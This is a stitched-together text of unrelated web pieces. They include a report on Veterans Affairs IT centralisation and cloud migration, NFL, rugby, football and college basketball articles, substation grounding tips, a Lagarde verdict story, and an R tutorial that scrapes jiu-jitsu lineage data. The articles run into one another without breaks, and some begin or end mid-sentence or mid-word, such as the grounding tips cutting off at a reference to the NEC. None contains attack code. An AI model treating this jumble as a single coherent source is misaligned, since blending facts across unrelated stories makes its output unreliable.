One agency source, who wished to remain anonymous, told Meritalk the majority of the agency’s cybersecurity weaknesses are a direct result of the decision to centralize VA’s IT management and security oversight at its Washington, D.C. headquarters. One VA insider told Meritalk that the centralization effort was not supported by the agency’s frontline IT staff. “IT should be a service that is plugged into, and that has not happened yet. IT should never have been separated from the businesses,” the source said, referring to the agency’s medical centers and field offices. One solution would be for the agency to move to the cloud faster in the midst of its current cybersecurity challenges, making it more able to reassert positive control over its many disparate networks and centers, the source added.
“In the last 20 years, they have been moving the data centers from hospitals to ‘area’ data centers, and people got higher paying jobs because they were no longer just managing one hospital or [Veterans Integrated Service Network-VISN], they were becoming area managers, so VA was creating its own ‘cloud’ outside of the hospital settings,” an agency source said. But those clouds have not been playing by the same rules. “If VA can move more of its services to a centrally-managed cloud infrastructure, security should improve.”
This shift to the cloud has been resisted by many agencies. As Business Solutions Magazine reported last year, only 41 percent of Federal agencies were considering Cloud as part of their overall IT strategy, revealing that despite the potential savings and heightened cybersecurity of cloud offerings, federal agencies are dragging their feet in the migration to cloud services.JACKSONVILLE, Fla. -- The Jacksonville Jaguars have no plans to renegotiate running back Maurice Jones-Drew's current contract.
General manager Gene Smith confirmed Monday that Jones-Drew wants a new deal, but made it clear it's not going to happen.
"Obviously, he has expressed that he would like to renegotiate and we have expressed again that we feel he has a contract with two years left that we expect him to fulfill those obligations," Smith said.
Jones-Drew, who led the NFL in rushing last season with 1,606 yards, has two years remaining on a five-year deal worth $31 million that he signed in 2009. He is scheduled to make $4.45 million this season and $4.95 million in 2013.
That's considerably less than other top tailbacks. Tennessee's Chris Johnson is getting $13.5 million annually. Houston's Arian Foster is making $8.7 million a year. And Seattle's Marshawn Lynch is earning $7.75 annually. St. Louis' Steven Jackson, Carolina's DeAngelo Williams and Minnesota's Adrian Peterson also make more than Jones-Drew.
Jones-Drew has 6,854 yards rushing, 2,473 yards receiving and 74 total touchdowns in six seasons. He carried a career-high 343 times last year, averaging 4.7 yards even though defenses knew he was the focal point of the NFL's worst offense.
It makes sense that the 27-year-old back would want a new deal after a career year. But the Jaguars certainly don't want to set a precedent of paying players already in the middle of lucrative contracts.
"Our expectation with any player that's under contract is for them to fulfill their obligations," Smith said. "In terms of our position, he's got two years remaining."
Jones-Drew skipped all of the team's offseason workouts and was not in attendance for a mandatory, three-day minicamp that began Tuesday.
"I would expect him to be here this week, but that's ultimately his decision," Smith said Monday. "It's a mandatory veteran camp for the players that are under contract. I expect all our players under contract to be here, though."
Jones-Drew could be fined up to $60,000 for missing the three days of practice.
"That's a decision that certainly is the head coach's decision, and I would support that," Smith said.
Jones-Drew hasn't worked out in Jacksonville the last three years. He missed organized team activities in 2010 to train on the West Coast, and the NFL lockout canceled offseason training sessions last year.
Nonetheless, it hasn't slowed him down. Jones-Drew has made three consecutive Pro Bowls.
Information from The Associated Press was used in this report.Just how important is substation reliability? Fast clearing of faults, made possible by good grounding, improves the overall safety and reliability of an electrical system. Therefore, substation reliability must be as "built-in" as possible because of the high available fault current levels present and unlikely occurrence of follow-up grounding inspections.
The following 11 basic tips, if put into practice, will enhance your substation grounding system.
Tip 1: Size conductors for anticipated faults
Conductors must be large enough to handle any anticipated faults without fusing (melting). Table 1, which is derived from IEEE 80-1986, IEEE Guide for Safety in AC Substation Grounding, lists the maximum allowable fault current (in kA) for various conductor sizes and fault durations. Fig. 1 shows maximum-allowable-fault-current-versus-time performance curves for the same conductor sizes listed in Table 1.
Failure to use proper fault time in design calculations creates a high risk of melted conductors. For example, a 4/0 AWG conductor can withstand 42,700A for 0.5 sec before fusing. However, this same conductor can withstand only 13,500A for 5 sec. IEEE 80 suggests using 3.0 sec for small substations. This time is equal to the short-time rating of most switchgear.
Tip 2: Select the right connector
The connections between conductors and the main grid, and between the grid and ground rods, are as important as the conductors themselves in maintaining a permanent low-resistance path to ground. You must consider the type of bond the connection creates with the conductor or ground rod and temperature limits.
The most frequently used grounding connections are mechanical pressure-type (bolted, compression, and wedge) and exothermically welded. Pressure-type connections produce a mechanical bond between conductor and connector. This connection either holds the conductors in place or squeezes them together, providing surface-to-surface contact with the exposed strands. The exothermic process fuses the conductor ends together to form a molecular bond between all strands of the conductor.
Temperature limits are important considerations. How effectively a connection carries current indicates how well it will maintain low resistance. IEEE 80 rates the maximum allowable temperature limits for both pressure-type and welded connections. IEEE 837 gives additional information.
Tip 3: Pay attention to ground rod length, number, placement, and spacing
The length, number, and placement of ground rods affect the resistivity of the path to earth ground. Each doubling of ground rod length reduces resistivity 45%, if you're working with uniform soil conditions. Usually, soil conditions are not uniform, so it's vital to obtain accurate resistivity data by measuring ground rod resistivity with appropriate instruments.
For maximum efficiency, rods should be placed no closer together than the length of the rod. Normally, this is 10 ft. Each rod forms an electromagnetic shell around it, and when the rods are too close, the shells actually interfere with each other.
For economic reasons, there's a limit to the maximum distance between rods. Normally, this is 20 ft. At more than 20 ft, the cost of real estate and additional conductor needed to connect the rods is not economically attractive. Four interconnected rods on 100-ft centers will reduce resistivity 94% over one rod but require at least 400 ft of conductor. On the other hand, four rods placed 20 ft apart will reduce resistivity 81% over one rod and use only 80 ft of conductor. Additionally, the 20-ft spacing uses only 4% of the real estate consumed by the 100-ft spacing.
Tip 4: Prepare the soil
Soil conductivity is an important consideration in substation design. The lower the resistivity, the easier it is to get a good ground. In areas where soil conductivity is low or where dry weather can change soil conductivity, consider using a ground-enhancement material. Another option, especially in areas where deep frost occurs, is to use deep-driven rods.
Tip 5: Eliminate step and touch potential
Limiting step and touch potential to safe values in your substation is vital to employee safety. Step potential is the voltage difference between a person's feet and is caused by the dissipation gradient of a fault entering the earth. Just 30 in. away from the entry point, voltage usually will have been reduced by 50%. For example, a 1000A fault in a 5-ohm grounding system will enter the earth at 5000V. So, 30 in. away, less than the distance of a normal step, a fatal potential of 2500V will exist. This is shown in Fig. 2.
Touch potential represents the same basic hazard, except the potential exists between the person's hand and his or her feet. However, since the likely current path runs through the arm and heart region instead of through the lower extremities, the danger of injury or death is even greater.
In both situations, the potential essentially can be eliminated by an equipotential wire mesh safety mat installed just below ground level, as shown in Fig. 3. Connected to the main ground grid and any switches or equipment a worker might touch, an equipotential mesh will equalize the voltage along the worker's path and between the equipment and his or her feet. With the voltage difference (potential) thus essentially eliminated, the hazard to personnel is virtually eliminated as well.
An equipotential wire mesh safety mat is usually fabricated from #6 or #8 AWG copper or copper-clad wire to form a 24 x 24-in. or 24 x 48-in. mesh. Many other mesh sizes are available. To ensure continuity across the mesh, all wire crossings are brazed with a 35% silver alloy. Interconnections between sections of mesh, and between the mesh and the main grounding grid, should be made so as to provide a permanent low-resistance high-integrity connection.
Tip 6: Ground the foundation
Because it's nearly impossible to isolate a metal structure from its foundation, the use of "Ufer" grounds has significantly increased in recent years. Ufer grounds utilize the concrete foundation of a structure plus building steel as a grounding electrode. Even if the anchor bolts are not directly connected to the reinforcing bars (rebar), their close proximity and the semi-conductive nature of concrete will provide an electrical path. Two additional facts need to be considered in Ufer grounding.
A high fault current (lightning surge or heavy ground fault) can turn moisture in the concrete to steam. This steam, attempting to expand to 1800 times its original volume, produces forces that may crack or otherwise damage the concrete. In an actual installation, a major utility used only the footers for grounding electrodes on a 765kV line. Later inspection found 90 foundations with fractures, some severe.
The presence of even a small amount of DC current will ca use corrosion of the re bar. Because corroded steel expands to more than two times its original volume, this expansion creates extremely large forces on the concrete. Although AC leakage will not cause corrosion, the earth will rectify a small percentage of the AC to DC. In situations where the anchor bolts are not bonded to the rebar, concrete can disintegrate in the current path.
To reduce concrete damage, you can limit the short duration current or provide a metallic path from the rebar through the concrete to an external electrode. That external electrode must be sized and connected to protect the concrete's integrity.
Proper design of Ufer grounds, as shown in Fig. 4, provides for connections between all steel members in the foundation and one or more metallic paths to an external ground rod or main ground grid. This gives faults a low-resistance path through the concrete to the earth.
Tip 7: Ground the fence
Utilities vary in their fence-grounding specifications, with most specifying that each gate post and corner post, plus every second or third line post, be grounded. All gates should be bonded to the gate posts using flexible jumpers. All gate posts should be interconnected. In the gate swing area, an equipotential wire mesh safety mat can further reduce hazards from step and touch potentials when opening or closing the gate.
Some substation designs require fence grounding to be isolated from the main ground grid; others require it to be tied into the grid. Tying the fence ground into the main ground grid, as shown in Fig. 5, will reduce both grid resistance and grid voltage rise. A word of caution here: Internal and perimeter gradients must be kept within safe limits because the fence is also at full potential rise. This can be accomplished by extending the mesh with a buried perimeter conductor that is 3 ft or 4 ft outside the fence and bonding the fence and the conductor together at close intervals.
Tip 8: Ground all disconnect switch handles
To protect the switch operator in case of a fault, place a safety mat on or under the earth's surface at all switch handles. There are four types of safety mats.
A steel grate or plate on supporting insulators. This works only if the operator can be kept completely isolated on the grate. Therefore, insulators must be kept clean. Any vegetation in the vicinity should be cut or eliminated completely.
A steel grate on the surface, permanently attached to the grounded structure. This arrangement has the operator standing directly on the grate.
Bare conductor buried (in a coil or zigzag pattern) under the handle area and bonded to the grounded structure.
Prefabricated equipotential wire mesh safety mat buried under the handle area and bonded to the grounded structure, as in Fig 6 (on page 46). This is likely to be the least expensive choice.
In all but the first arrangement, both the switch operating handle and the personnel safety grate (or mat) should be exothermically welded to structural steel, thus ensuring nearly zero voltage drop.
Tip 9: Ground all surge arrestors
Surge arrestors pass surge energy ("spikes") to ground. To transfer current at minimum voltage drop (which provides maximum protection), each surge arrestor groundlead should have a short direct path to earth and should be free of sharp bends.
To use transformer tanks or structures as the grounding path, you must ensure that multiple paths to ground are both available and secure (this includes making effective connections). Whenever there is any question about the adequacy of these paths, use a separate copper conductor between the arrestor and the ground terminal (or main grounding grid). Because steel structures (due to their mass) have a lower impedance than a separate copper conductor, connect any separate conductor to the structure near the arrestor.
Tip 10: Bond and ground all cable trays
The NEC in Art. 318 details the requirements for |
Blacks in Cape Town.
Then there’s the not so small matter of Ireland in Dublin, restoring order against Italy and the season finale against a French team that will be a very different opponent to the tired imposter that took a three-nil series whipping in South Africa.
The next two Tests will simply be a reminder of how much there is still to be done or a reinforcement of how much has been done since the horror of losing to England, Italy and Wales in the last three Tests of 2016.
There has been so much to appreciate about the Springboks in the season’s five successive wins and that can’t be erased because of what may or may not transpire in Perth and in Albany.
The expectation is that the Springboks will win against Australia and be very competitive against the All Blacks. This alone shows how much progress there has been with these Boks as a group in 2017.
There was very little expectation when the Boks toured at the end of 2016. That there is belief again speaks volumes for how the team played against the French and Pumas.
I’m excited about the next two Springboks matches and ‘win, lose or draw this group of players will be stronger for the experience’. It’s a line that Steve Hansen used on the eve of the All Blacks third Test decider against the British and Irish Lions. It’s cliché but it’s hard to counter.
Hansen said there had to be perspective in the occasion and in the match. He said two very good teams were playing for the same prize. He said the All Blacks would have to play well to win and that victory was not a given because they were the All Blacks.
Perspective needs to be applied when assessing the Springboks' prospects against the Wallabies on Saturday. The Wallabies have been indifferent, at best, in 2017 but they did show just enough attacking class in both Tests against the All Blacks to remind every South African that a victory is not a given.
The Wallabies, in the second half in Sydney and the first 15 minutes in Dunedin, scored seven unanswered tries against the All Blacks.
It wasn’t enough to get them a victory in either Test, which says as much about the quality of the All Blacks as it does anything, but it would have given the Australian players a belief that they could still play the game.
It should be a reminder to South Africans that there is enough quality within the Australian set up to beat the Springboks if everything clicks on the day.
I have the Springboks to win by less than a converted try, but if they lose it wouldn’t be a shock.
There is very little to choose between the two teams and every statistic supports just how close Saturday’s Test will be.
Historically nothing separates the two teams - and that’s a fact. In 101 Rugby Championship matches the two teams have won, drawn and lost exactly the same amount of games. Incredibly they’ve pretty much conceded the same amount of points.
The similarities don’t just stretch over a 21 year period because in the two Rugby Championship matches of 2017 South Africa and Australia have scored nine tries and their attacking statistics are very similar, despite the difference in quality of their respective opponents.
I’ve been bullish about the Springboks in 2017.
I was emphatic the Boks would hammer the French in all three Tests and comfortably deal with Argentina home and away. I wrote in a previous column a good return for 2017 would be four wins from six and felt the Boks to be good enough to win against the Wallabies in Australia and in South Africa.
I’m even more convinced now that this is possible but I am wary of the Aussies, especially after some of the attacking play against the All Blacks.
The Wallabies have some of the best outside backs in the game and they have an effective lineout.
They’ve always had a suspect scrum, yet often they’ve manipulated the set piece and milked penalties against opposition scrum units that are decidedly stronger and more dominant.
There must be a healthy regard for the ability of the Australians and there also must be respect for the occasion that it is an away Test match.
This is in no way a home Test for the Springboks. I’ve been in Perth often enough for Test matches to know it’s very pro the Wallabies on match-day. It’s a myth that Perth in any way has the feel of a South African home Test.
And yes, I am not as bullish about the outcome as I’d like to be. You could say I am cautiously optimistic, which translated means I am bloody nervous!
Mark Keohane is a Cape-Town based award-winning rugby specialist and former Springbok Communications Manager. Follow him on Twitter
Disclaimer: Sport24 encourages freedom of speech and the expression of diverse views. The views of columnists published on Sport24 are therefore their own and do not necessarily represent the views of Sport24.
Previous Mark Keohane columns on Sport24:
Etzebeth is the right choice for Bok captain!
Kriel sets example others should follow
Combrinck to lead Lions to Super Rugby title
Jantjies the man to lead Lions to glory
Stormers WILL reach Super Rugby semis!
Stormers need to back youngster Willemse
Serfontein, Mostert the Boks standouts
Boks must extend Brendan 'Mr Fixit' Venter's role
Coetzee's Lions-laden Bok side can't lose!
Expect a different looking Bok starting XV!
Fear not, Boks will whitewash France 3-0!
Hey Allister, load the Boks with Lions!
The RWC 2019 gods have smiled on the Boks!
Unleash Curwin Bosch on the French!
YES, an overseas-based SA team would beat the Boks, but...
The next Springbok skipper has to be...
Super Rugby cull good for SA rugby
Clap, clap... Venter's appointment should be applauded
South African rugby NEEDS to host RWC 2023
Why SA can't have 6 Super Rugby teams
Super 12 glory is now Super 18 gory
No winner is SARU's half-cocked overseas policy
Keeping Coetzee sadly no April Fools' joke
Mediocrity must fall!
Overseas based SA players are no traitors!
Sick Boks need more than a new doctorSergio Ramos was the special guest on La Cope’s ‘El Partido de las 12’ programme on Thursday night. The centre-back is dreaming about winning the Champions League with Real Madrid: “I’ve got a tattoo of the World Cup but not the European Cup; right now, I'd rather win 'La Décima' than the World Cup. If I manage to win both, I might mention it to those who have criticized me”.
Barça’s season: “Barcelona are having a fantastic season; maybe people have become accustomed to seeing them up there but it’s unusual to have three teams in the title race and with the amount of points we have at this stage of the campaign”.
Pepe: “He’s learned from his mistakes and he’s matured. Both of us have made mistakes. The press makes out that we are both violent players but we just get on with it. Every team has to defend as they know how”.
Good atmosphere within the squad: “I can sense that there’s a feeling of affection which was lost for a while – the fans were divided, we don’t know why because the players haven’t changed. We’re still the same players but we’re seen differently now. There have been hierarchies within the squad but only for age difference; we’ve never had cliques in the dressing room”.
Casillas: “Casillas is a great captain – both for the national team and Madrid. I’m the deputy captain and both us have different duties within the dressing room. I’ve known a few captains who are leaders and others who aren’t – he’s a leader”.
Cristiano Ronaldo: “I have a great friendship with him. When a team mate has a problem, you have to help them and take care of them. Whenever I have had problems, he has worried about me and looked out for me”.
Fitness problems at the start of the campaign: “That was something I was aware of at the time but I’ve always talked loud and clear in the good times and the bad times. I’ve always been honest. I think it was more of a mental problem than a physical one – I was a little unmotivated. The whole issue with Florentino didn’t help either. Some of the criticism I received was a lack of respect and some of the things that were said still hurt. Certain people have to accept the fact that Sergio Ramos has spent 10 years at the top... I get all kinds of remarks – about my haircut; they invent things, my lifestyle and those who are close to me such as my Dad and my brother. I’ve always been open and honest about who I am, it’s not for others to judge”.
Criticism: “I don’t let it affect me - just look at my honours list, the one who has the last laugh is me”.
Winning the Champions League or the World Cup: “I’ve got a tattoo of the World Cup but not the European Cup; right now, I'd rather win 'La Décima' than the World Cup. If I manage to win both, I might mention it to those who have criticized me
Diego Costa: “I’m a big fan of his style of play and his character. Spain have employed a possession, passing-based style of play and sometimes we need a centre-forward. Diego Costa and Negredo have the attributes we need”.
Jesé: “It’s a real shame because the injury happened just when he was entering this incredible moment in his career. But looking on the bright side, he’s young and nobody is in any doubt about his talent, the team will be all the better when he returns”.Nothing exceptional happened Sunday afternoon at Cassell Coliseum. Sure, Chris Clarke stuffed the stat sheet for forty minutes, and granted, Ahmed Hill came up clutch when it mattered most, but nothing exceptional.
And yet, despite a largely forgettable performance against a formidable SEC foe, Buzz Williams' squad notched their eighth win of this young season, withstanding a late Ole Miss run to dispatch a feisty Rebels team with an 80-75 victory.
"I think Ole Miss is tough...They're not gonna go away," said Williams. "They're a good team, and you have to embrace that. I think good teams do...they know how to absorb a run from an opponent when they're ahead and they know how to execute regardless of the circumstance."
Clarke led the way for the Hokies with the definition of a versatile performance, finishing the afternoon with 12 points, 5 rebounds, 5 assists and 3 steals. The wiry sophomore wing flashed his unlimited potential throughout the game, giving the Rebels headaches on both ends of the floor. Clarke's jump shot still leaves plenty to be desired — an end of shot-clock heave represented just his fourth-career made three — but it was clear how dangerous a 6'6" athlete can be leading the break for a team full of knock-down shooters.
Hill matched his season-high with 20 points, just one shy of Sebastian Saiz' game-high 21 for the Rebels. And most importantly, as Tech's lead evaporated late courtesy of a number of sloppy offensive possessions, Hill buried a short floater before connecting with Zach LeDay for a transition dunk to hold off a furious Ole Miss rally in the game's final minutes.
The aforementioned Saiz proved quite the handful for this undersized Hokies team, his nine rebounds leaving him just one short of yet another double-double. The 6'9" forward forced Khadim Sy into early foul trouble just minutes into the first half, and LeDay provided little in the way of resistance when Saiz received the ball in scoring position. But the Rebels, sporting a guard-laden lineup much like the Hokies, proved stubborn in their efforts from the perimeter, limping to a 8 of 27 clip from behind the arc despite having a force inside who shot nearly 70% from the field.
It was far from pretty early, an Andy Kennedy 1-3-1 zone abruptly halting any semblance of tempo for the latter portion of a choppy first half. The Hokies seemed largely content to hoist up shots from the perimeter against the extended zone, but despite their fair share of decent looks, nothing was falling as Ole Miss climbed back into the game thanks to a stagnant Tech offense.
But Williams and the Hokies went back to the drawing board at halftime, reappearing in the second determined to work the ball inside against a defense that struggles to guard the interior by its very nature. Sy rewarded Tech with six straight points to start the half, lending a desperately needed spark inside that forced Ole Miss to abandon the 1-3-1 that had previously stifled the Hokies' offense.
Unsurprisingly, Tech enjoyed far more success in transition as the Rebels went back to man, building out a double-digit lead midway through the second half as the tempo picked up considerably. The Rebels rallied late, remarkably pulling within one with under 90 seconds to play, but the Hokies regained their poise when they needed it most to earn yet another resume-building win.
A Few Other Thoughts
Balance, Balance, Balance LeDay and Seth Allen, Tech's two leading-scorers from a year ago, were both unspectacular against the Rebels. But Hill and Justin Bibbs were more than ready to pick up the slack, joining forces to knock down six of the Hokies' ten three-pointers. And Khadim Sy, despite a miserable start to the game, rebounded with the biggest six points of the afternoon to start the second half. The point, in short, is the balance and versatility of this team. Gone are the days of watching Erick Green being forced to shoot the basketball 20 times a game. Rather, Buzz's offense is content to take what they're given, eager to share the basketball, and perhaps most importantly, egoless on how it may affect their stat lines.
Free Throw Woes The Hokies went 4 of 11 from the charity stripe in the first half, and despite seeing improvement as the game wore on, finished at just 60% on the afternoon. What to make of the Hokies' struggles from the line? Nothing, really. Sometimes your shots just don't fall. If the Hokies continue to step to the line with confidence, they should be just fine. They're too good of shooters not to be.
Chris Clarke Went Beastmode Chris Clarke was quite literally everywhere against Ole Miss. Whether he was digging down for steals when the ball reached the post or leading the break after pounding the defensive glass, Clarke was the best player on the floor for Tech. He's a matchup nightmare for defenses when he attacks the rim, at one point leaving Saiz gasping for air after a crossover had the Rebels' star forward headed to the floor. Defenses will continue to sag off Clarke until he proves able to knock down open shots, but if that day ever comes, the sky's the limit for the 757 native.
So, This Is What a Resume Looks Like? Don't look now, but the Hokies are quietly building themselves a nice little resume through the season's first month. At 8-1 with quality victories over Nebraska, Michigan, New Mexico and now Ole Miss, Tech boasts their strongest out of conference resume in recent memory. With just three games remaining before ACC play begins — all of which Tech will enter as a heavy favorite — the Hokies should head into their New Year's Eve showdown with Duke sporting an 11-1 record. There's no marquee victories that Tech can point to as of yet, but the lack of a glaring loss — Alabama State, anyone? — could be just as important come March.Paris: Christine Lagarde, the managing director of the International Monetary Fund (IMF), was found guilty on Monday of criminal charges linked to the misuse of public funds during her time as France's finance minister, a verdict that could force her out of her post.
Lagarde, who began her second five-year term at the IMF in February, will not face any jail time, the judge said. The scandal has overshadowed her work at the fund, to which she was appointed in 2011 after Dominique Strauss-Kahn resigned as managing director when he was accused of having sexually assaulted a maid in a New York City hotel.
The move is likely to destabilise the IMF as it faces a host of thorny issues, including questions over its participation in a multibillion-dollar bailout for Greece and uncertainty about the role of the US in the organisation once Donald Trump becomes president in January.
The verdict was a surprise, after the prosecutor in the trial said last week the case against her was "very weak" and did not appear to be enough to win a conviction. It is a theme prosecutors have previously repeated.Building a Brazillian Jiu-Jitsu family tree
Martial arts masters are responsible for transmitting the skills and ideology of the art to their students. This master-student relationship is codified when a student receives his/her black belt, thereby becoming a master. The student’s future as a master of the art is forever tied to the person by whom he/she is promoted. Information in a martial art is transmitted through a sequence of master-student relationships. A master promotes students to masters, in turn, eventually promote students of their own.
While we normally think about the transference of information from masters to students, it is also informative to think about the flow of information as we move backwards in time. From this perspective, a student learns from his/her master, who learned from his/her master, and so on. This sequence of master-student relationships tracing back to the genesis of the art defines a martial artist’s lineage.
Here, I will visualize the lineages of hundreds of elite BJJ practitioners drawn from the website BJJ heroes.
I feel that lineages are intrinsically interesting; they allow BJJ practitioners, such as myself, to better understand our place in the context of an increasingly popular sport. Moreover, to the extent that style is transmitted through master-student relationships, practitioners who are nearby in a lineage-network are likely to be more stylistically similar than those from distant lineages.
Obtaining raw lineage data for ~800 BJJ heroes
To investigate BJJ fighter lineages, I used data from BJJ Heroes, a website containing biographies, lineages, fight records and more for around 800 elite BJJ practitioners. While these practitioners are among the more elite members of the sport (as defined by the BJJ Heroes crew), this list seems like a reasonable cross-section of the sport that is not greatly biased towards a subset of lineages or countries.
To extract lineages from this website, I first needed a list of all of the BJJ heroes that we are interested in. These fighters are conveniently located on a single page, so I could associate fighters’ names with links to their pages.
suppressPackageStartupMessages ( library ( dplyr )) suppressPackageStartupMessages ( library ( rvest )) library ( tidyr ) strip_white <- function ( x ){ x %>% gsub ( pattern = '^[ ]+', replacement = '' ) %>% gsub ( pattern = '[ ]+$', replacement = '' ) } overwrite_cache <- FALSE if ( file.exists ( "BJJ_heroes_raw.Rdata" ) & overwrite_cache == FALSE ) { load ( "BJJ_heroes_raw.Rdata" ) } else { # ID all BJJ heroes all_bjj_fighters <- xml2 :: read_html ( "http://www.bjjheroes.com/a-z-bjj-fighters-list" ) # Save fighter summaries all_bjj_fields <- all_bjj_fighters %>% # extract fields of interest rvest :: html_nodes ( ".column-4,.column-3,.column-2,.column-1" ) %>% rvest :: html_text () %>% # format as matrix matrix ( ncol = 4, byrow = T ) colnames ( all_bjj_fields ) <- all_bjj_fields [ 1,]; all_bjj_fields <- all_bjj_fields [ -1,] all_bjj_fields <- all_bjj_fields %>% as.data.frame ( stringsAsFactors = F ) %>% dplyr :: tbl_df () %>% # strip leading and trailing white space dplyr :: mutate_each ( dplyr :: funs ( strip_white )) %>% dplyr :: mutate ( Full_name = paste ( `First Name`, `Last Name` )) # Save fighter links all_bjj_fields $ Fighter_link <- all_bjj_fighters %>% # extract links to fighter pages rvest :: html_nodes ( ".column-1 a" ) %>% rvest :: html_attr ( "href" ) # If fighter links are duplicated only keep one all_bjj_fields <- all_bjj_fields %>% dplyr :: group_by ( Fighter_link ) %>% dplyr :: slice ( 1 ) %>% dplyr :: ungroup () # Generate absolute links (some links are relative, others are absolute) all_bjj_fields <- all_bjj_fields %>% dplyr :: mutate ( Fighter_link = ifelse ( grepl ( "^http", Fighter_link ), Fighter_link, paste0 ( "http://www.bjjheroes.com", Fighter_link ))) } knitr :: kable ( all_bjj_fields %>% dplyr :: sample_n ( 5 ), row.names = F )
First Name Last Name Nickname Team Full_name Fighter_link Alan Moraes Carlson Gracie Alan Moraes http://www.bjjheroes.com/?p=2583 Adilson Lima Bitta Academia Pitbull Adilson Lima http://www.bjjheroes.com/?p=6768 Ricardo Rezende Fight Sports Ricardo Rezende http://www.bjjheroes.com/?p=4859 Marcos de Souza Bonsai Marcos de Souza http://www.bjjheroes.com/?p=1848 Maximiliano Trombini Cia Paulista Maximiliano Trombini http://www.bjjheroes.com/?p=872
After identifying all of the pages of BJJ heroes, I programmatically followed each hero’s link and saved the lineage field from each hero.
if (! file.exists ( "BJJ_heroes_raw.Rdata" ) | overwrite_cache == TRUE ) { # Crawl fighter pages fighter_output <- list () for ( i in 1 : nrow ( all_bjj_fields )){ fighter_page <- try ( read_html ( all_bjj_fields $ Fighter_link [ i ]), silent = T ) if ( class ( fighter_page )[ 1 ] == "try-error" ){ next } # catch missing pages fighter_attr <- fighter_page %>% html_nodes ( "p:nth-child(4), p:nth-child(5), p:nth-child(6), p:nth-child(7), p:nth-child(8)" ) %>% html_text () # match lineage field fighter_lineage <- fighter_attr [ grep ( '[lL]ineage', fighter_attr )][ 1 ] # only take on lineage if ( length ( fighter_lineage ) == 0 ){ print ( i )} else { fighter_output [[ i ]] <- fighter_lineage } } BJJ_lineages <- lapply ( 1 : nrow ( all_bjj_fields ), function ( i ){ if ( length ( fighter_output [[ i ]])!= 0 ){ data.frame ( all_bjj_fields %>% slice ( i ), Lineage = fighter_output [[ i ]], stringsAsFactors = FALSE ) } # catch missing pages that were skipped with try-error }) %>% bind_rows () save ( all_bjj_fields, BJJ_lineages, file = "BJJ_heroes_raw.Rdata" ) } knitr :: kable ( BJJ_lineages %>% dplyr :: sample_n ( 5 ), row.names = F )
First.Name Last.Name Nickname Team Full_name Fighter_link Lineage Ana Carolina Vieira GF Team Ana Carolina Vieira http://www.bjjheroes.com/?p=6979 Lineage: Mitsuyo Maeda > Luis França > Oswaldo Fadda > Monir Salomão > Julio Cesar > Ana Carolina Vieira Kayron Gracie Gracie Barra Kayron Gracie http://www.bjjheroes.com/?p=901 Lineage: Mitsuyo Maeda > Carlos Gracie Sr. > Helio Gracie > Carlos Gracie Junior > Kayron Gracie Marcus Bello GF Team Marcus Bello http://www.bjjheroes.com/?p=1619 Lineage: Mitsuyo Maeda > Luis França > Oswaldo Fadda> Monir Salomão > Julio Cesar Pereira > Marcus Bello Guilherme Augusto Alliance Guilherme Augusto http://www.bjjheroes.com/?p=5417 Lineage: Mitsuyo Maeda > Carlos Gracie > George Gracie > Octávio de Almeida > Moises Murad > Everdan Olegário > Guilherme Augusto Gary Tonon Renzo Gracie Academy Gary Tonon http://www.bjjheroes.com/?p=5649 Lineage: Mitsuyo Maeda > Carlos Gracie Sr. > Helio Gracie > Carlos Gracie Junior > Renzo Gracie > Ricardo Almeida (> Tom deBlass) > Garry Tonon
Each hero’s lineage is stored as a string, like “lineage: master’s master > master > student” (with some other variations), that contains the overall lineage of each hero. It is useful to think about these lineages as networks where direct connections between masters and their students are parent-child relationships. Links that span multiple parent-child links are termed ancestor-descendent relationships.
Combining the lineages of all individual fighters into an overall family tree can be accomplished once I have identified all of the master-student relationships in this database.
Summarizing lineages based on master-student relationships
To identify the master-student relationships that will form individual branches of the BJJ family tree, I first need to unpack each hero’s lineage by removing extraneous text and storing each ancestor as a distinct field.
# Clean up and filter missing lineages clean_lineage <- function ( x ){ # extract fields following "lineage" x <- strsplit ( x, split = '[Ll]ineage[A-Za-z0-9 )(]{0,}:[[:space:]]{0,}|(Main Achi)' )[[ 1 ]][ 2 ] # remove leading and trailing white space gsub ( '[[:space:][:punct:]]+$', '', gsub ( '^[[:space:][:punct:]]+', '', x )) } BJJ_lineages <- BJJ_lineages %>% select ( Fighter_link, Lineage ) %>% rowwise () %>% mutate ( Lineage = clean_lineage ( Lineage )) # filter missing lineages BJJ_lineage <- BJJ_lineages %>% ungroup () %>% filter (! is.na ( Lineage )) %>% filter (! ( Lineage %in% c ( "", "—", "n/a" ))) # Turn lineages into a hierarchy BJJ_lineage_unpacked <- lapply ( 1 : nrow ( BJJ_lineage ), function ( i ){ x <- strsplit ( BJJ_lineage $ Lineage [ i ], split = ">" )[[ 1 ]] x <- gsub ( '[[:space:][:punct:]]+$', '', gsub ( '^[[:space:][:punct:]]+', '', x )) data.frame ( Fighter_link = BJJ_lineage $ Fighter_link [ i ], Lineage = x, stringsAsFactors = FALSE ) }) %>% bind_rows () # Label hierarchy for each student BJJ_lineage_unpacked <- BJJ_lineage_unpacked %>% group_by ( Fighter_link ) %>% mutate ( Level = 1 : n ()) %>% mutate ( Lineage = gsub ( 'Master ', '', Lineage )) knitr :: kable ( BJJ_lineage_unpacked %>% dplyr :: ungroup () %>% dplyr :: slice ( 1 : 10 ), row.names = F )
Fighter_link Lineage Level http://www.bjjheroes.com/?p=1000 Mitsuyo Maeda 1 http://www.bjjheroes.com/?p=1000 Carlos Gracie 2 http://www.bjjheroes.com/?p=1000 Carlson Gracie 3 http://www.bjjheroes.com/?p=1000 Ze Mario Sperry 4 http://www.bjjheroes.com/?p=1000 Caroline de Lazzer 5 http://www.bjjheroes.com/?p=1003 Mitsuyo Maeda 1 http://www.bjjheroes.com/?p=1003 Carlos Gracie 2 http://www.bjjheroes.com/?p=1003 Helio Gracie 3 http://www.bjjheroes.com/?p=1003 Francisco Mansor 4 http://www.bjjheroes.com/?p=1003 Augusto Mendes 5
Having separated each lineage into separate entry for each ancestor, these lineages can now be used to form master-student relationships. Master-student relationships may be shared by multiple descendents. For example: >400 lineages contain the master-student relationship between Mitsuyo Maeda and his student Carlos Gracie. Each of these shared master-student relationships only needs to be stored once (although I also keep track of how many descendents each fighter has).
